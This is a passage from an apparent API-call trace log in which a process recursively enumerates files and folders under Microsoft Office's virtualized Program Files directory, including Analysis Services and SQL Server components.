	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a79751b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as90.xsl", cAlternateFileName="")) returned 1
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7712cc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7712cc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hive.xsl", cAlternateFileName="")) returned 1
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Informix.xsl", cAlternateFileName="")) returned 1
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msjet.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql70.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql90.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a809c41, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2aebe60a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1
	[0164.757] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a7bd7ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a7bd7ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7e39eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0
	[0164.757] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0164.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.758] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0164.758] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2adffa3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x395ec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1
	[0164.758] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf630892f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf630892f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x785a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1
	[0164.758] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b0a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1
	[0164.759] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc692f34, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc692f34, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc692f34, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x484b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1
	[0164.759] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0164.759] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0164.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0164.759] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.759] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.759] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42929a0
	[0164.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140ad8
	[0164.760] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1132d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi.rll", cAlternateFileName="")) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x310e420 | out: lpFindFileData=0x310e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui110.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0
	[0164.760] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0164.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0164.760] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0164.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0164.760] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 1
	[0164.761] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18016f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv.dll", cAlternateFileName="")) returned 0
	[0164.761] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.761] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0164.761] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.761] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0164.761] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.761] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.762] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0164.762] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.763] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.763] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0164.763] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.763] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0164.763] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft SQL Server\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.764] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.764] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1
	[0164.764] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
